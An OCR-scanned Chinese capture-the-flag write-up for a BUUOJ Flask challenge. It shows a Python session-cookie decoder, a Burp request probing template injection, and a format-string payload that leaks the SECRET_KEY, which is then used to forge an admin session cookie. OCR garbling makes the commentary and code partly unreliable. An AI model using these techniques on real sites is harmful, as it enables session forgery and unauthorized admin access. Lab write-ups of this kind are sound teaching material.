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EVENTful Eventpanel Admin panel

Username
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Login/Register

— AN EREAEM O, #5 i Admin panel, $2&758:

EVENTful Eventpanel Admin panel

You have to login first.

ffiflUsername: test, Password: test Z[ifi)5:

EVENTful Eventpanel Admin panel

Add a new event to your event database!  Name of your event Address of your event Is the name or address more important? = Name v

These are your current events:
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Name: hahaha
Address: 8.8.8.8
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These are your current events:
* hahaha
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Is the name or address more important? ANEIuk
Address

B X At Admin panel, 125

You do not seem to be an admin, test!

G| 7R, WRER VG admin &R, & Cookie:

Cookie: user=InR1c3Qi.X 3LKg.ZtskcvsQoZPJ-mCYf3QbDXszGjs; events_sesh_cookie=.eJwlzjsOwjAMANC7e07gb2L3M1UUO4K1pR
P171iCxvum94VhnXQ_YX-ddGxzPhB2sgoKnttWgazVzoxis5g15pcfyQkVmjzBhl TqJEgalKukscZM-qEb4zTImNGHgWSOJ1gMXbDEegsxtSUpt

jJOVPGgg3uq85_huDzBY--LAs.X 3LKg.CfhiYEpWBT8uyYqgkgRyptIBYbXs

Hrr events_sesh_cookie AR IHETFL Ledw , 1§ FHPython3fHIA fif 4% :



from base64 import bé64decode
from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):
payload, sig payload.rsplit(b'."', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress False
if payload.startswith(b'."'):
payload payload[1:]

decompress True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if _ name__ '__main__":

print(decryption(sys.argv[1l].encode()))

python3 flask-session-decode.py .eJwlzjsOwjAMANC7e07gb2L3M1UUO04K1pRP17iCxvum94VhnXQ YX-ddGxzPhB2sgoKnttiWgazVzoxi]
s5g15pcfyQkVmjzBhJ_TqJEgalKukscZM-qEb4zTImNGHgWSOJ1gMXbDEegsxtSUptYjJOVPGgg3ugq85_huDzBY--LAs.X_ 3LKg.CfhiYEpWBT8u
yYgkgRyptIBYbXs

{'_fresh': True, '_id': '5e9192c46T6e74e658519a2458602fd89f8e040228995328108e713
014917ee36249cd18e78520¢c53d9c97a543ddab34e20730e3576935457F3d3ef121808d3af', 'use
2 _alelty taliy
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REARAFAE RN A, 2 RN
THAAE=A NS event_name . event_address . event_important , {EFEACHSf# I BurpSuitedl A 4o :

/ Request to http://87692dbb-10d0-4f00-9ca4-0c7177016f4b.node3.buuoj.cn:80 [111.73.45.58]

( Forward Drop Intercept is on ( Action Comment this item W
( )

Raw | Params | Headers | Hex

POST / HTTP/1.1

Host: 87692dbb-10d0-4f00-9ca4-0c7177016f4b.node3.buuoj.cn

Content-Length: 77

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://87692dbb-10d0-4£00-9ca4-0c7177016£f4b.node3.buuoj.cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1 0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9

10 Referer: http://87692dbb-10d0-4£00-9ca4-0c7177016f4b.node3.buuoj.cn/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;g=0.9

13 Cookie: UM _distinctid=176£f5707c8b10db-01c0f9dacc6eB82-171d4b58-13c680-176£5707c8cBaa; user=InR1c3Qi.X 3LKg.ZtskcvsQozZPJ-mCYf3QbDXszGjs; events_sesh_cookie=
.eJwlzjsOwjAMANC7e07gb2L3M1UUO4K1pRPi7iCxvum94VhnXQ YX-ddGxzPhB2sgoKnttWqazVzoxis5gl5pcfyQkvmjzBhd_TqJEgalKukscZM-qEb4zTImNGHqQWSOJ1gMXbDEegsxtSUptYjJ0VPGgg3uq85_huDzBY--LAS.X
_3LKg.CfhiYEpWBT8uyYgkgRypt IBYbXs

14 Connection: close

T

PNV A WN

©

16 event_name=%7B%7B2*2%7D%7D&event_address=%7B%7B3*3%7D%7D&event_important=name

B event_important=_ dict , KEHIEG, BREE.

These are your current events:
» {'_sa_instance_state': <sglalchemy.orm.state.InstanceState object at 0x7f9bdeade810>,
'owner_id'": 1, 'address': '{{3*3}}', 'id": 5, 'name": '{{2*2}}', 'show": '__dict__', 'fmt":
'{0.__dict__}"}
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Config {

"ENV': 'production’,

'DEBUG': False,

'"TESTING': False,

'PROPAGATE_EXCEPTIONS': None,
'"PRESERVE_CONTEXT_ON_EXCEPTION': None,
"SECRET_KEY': 'fb+wwn!nlyo+9c(9s6! 3o#nqm&& ej$tez)$ ik3en8d7oémrity’,
'PERMANENT_SESSION LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False,
'SERVER_NAME' : None,

'"APPLICATION_ROOT': '/",
'SESSION_COOKIE_NAME': 'events_sesh_cookie',
"SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
"SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
"SESSION_REFRESH_EACH_REQUEST': True,
"MAX_CONTENT_LENGTH': None,

'SEND_FILE_MAX_ AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None,
'"TRAP_HTTP_EXCEPTIONS': False,
"EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http"',
"JSON_AS_ASCII': True,

"JSON_SORT_KEYS': True,
"JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json’,
'TEMPLATES_AUTO_RELOAD' : None,

"MAX_COOKIE SIZE': 4093,
'SQLALCHEMY_DATABASE_URI': ‘'sqlite:///my.db',
'SQLALCHEMY_TRACK_MODIFICATIONS': False,
'SQLALCHEMY_BINDS': None,
'SQLALCHEMY_NATIVE_UNICODE': None,
'SQLALCHEMY_ECHO': False,
'SQLALCHEMY_RECORD_QUERIES': None,
'SQLALCHEMY_POOL_SIZE': None,
'SQLALCHEMY_POOL_TIMEOUT': None,
'SQLALCHEMY_POOL_RECYCLE': None,
'SQLALCHEMY_MAX_OVERFLOW': None,
'SQLALCHEMY_COMMIT_ON_TEARDOWN': False,
"SQLALCHEMY_ENGINE_OPTIONS': {}

}

Hrp {1 &% 'SECRET_KEY': 'fb+wwn!nlyo+9c(9s6! 3o#nqm&& ej$tez)$ ik3ens8d7o6mrity’

PLAAR & 511 4 H flask-session-cookie-manager/ii % sessionBI nf,  {H&7E a5 i — B :

[Encoding error] malformed node or string: <_ast.Name object at 0x104089d00>
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from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app Flask(__name_ )
app.secret_key = b'fb+wwn!nlyo+9c(9s6! 3o#ngm&& ej$tez)$ ik36n8d7o6mriy’

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/")
def index():
print(session_serializer.dumps("admin"))

B RIf# % J5fICookie: ImFkbWluIg.X_3YzA.AeKRWJibmKnnUXyWk_Dyp2sqHeM

Sources Network Performance Memory Application Security Lighthouse HackBar

™

C | Filter Only show

Name Value
events_sesh_cookie -.eJwlzjsOWjAMANC7e07gb2L3MIUUO4K1 pRPi7iCxvum94VhnX...
user ImFkbWIulg.X_3YzA.AeKRWJibmKnnUXyWk..Dyp2sateM,, .

il vl JE, 2t F]Admin panel, 75 %flag:

EVENTful Eventpanel Admin panel

flag{a666b953-8e68-49f1-8bac-25ebe738c05d}
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